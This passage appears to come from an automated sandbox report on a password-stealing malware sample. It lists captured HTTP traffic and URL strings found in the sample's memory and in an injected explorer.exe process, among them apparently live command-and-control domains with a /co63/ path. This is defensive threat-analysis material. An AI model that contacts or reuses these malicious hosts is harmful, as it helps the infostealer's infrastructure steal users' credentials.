Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 20 Jul 2023 09:46:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: 275X-Sorting-Hat-ShopId: 78317551892X-Dc: gcp-europe-west3X-Request-ID: 619dc533-3df6-40c6-b74c-29637f03265aX-XSS-Protection: 1; mode=blockX-Download-Options: noopenX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uH5aeEqN3obfucUZWJZxP2rtEyDNUaJ7saLEC0Ok2Owj7W8d0caYEwTGPeiRIgUoDaiIZVk18uwtzJEIZrBRt9cJ6bNakCkFfGOUXGLV8mIisdbuuED8woLaz1OTyooLO3L8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=14.999866Server: cloudflareCF-RAY: 7e9a47ac8dbc9295-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{padding:0;margin:0;

Source: explorer.exe, 0000000F.00000000.478178422.00007FFA13109000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov
Source: explorer.exe, 0000000F.00000000.478178422.00007FFA13109000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.387986518.0000000005745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.w
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, hkkRsa.exe, 00000009.00000002.449838266.0000000002FB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390741938.0000000005742000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 0000000F.00000000.451928214.000000000091F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ballthingsez.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ballthingsez.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ballthingsez.com/co63/www.dlafluid.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ballthingsez.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.creativebrea.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.creativebrea.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.creativebrea.com/co63/www.mazinhoccb.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.creativebrea.comReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cucinainvenice.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cucinainvenice.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cucinainvenice.com/co63/www.freepad168.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cucinainvenice.comReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dlafluid.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dlafluid.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dlafluid.com/co63/www.myccsmartmove.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dlafluid.comReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dulichphucbinh.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dulichphucbinh.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dulichphucbinh.com/co63/www.f1-austin-tickets.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.dulichphucbinh.comReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.f1-austin-tickets.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.f1-austin-tickets.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.f1-austin-tickets.com/co63/www.inf9obase.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.f1-austin-tickets.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.402512238.0000000005753000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.402229452.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.397252243.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401950666.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395360507.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.402581080.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396894726.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394288066.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.397336290.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396640059.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396957387.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401891749.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396853711.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.397184658.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.000000000575A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers.
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394212105.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com6
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394715282.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396640059.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394791085.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394930632.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394602661.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comF
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comTTF
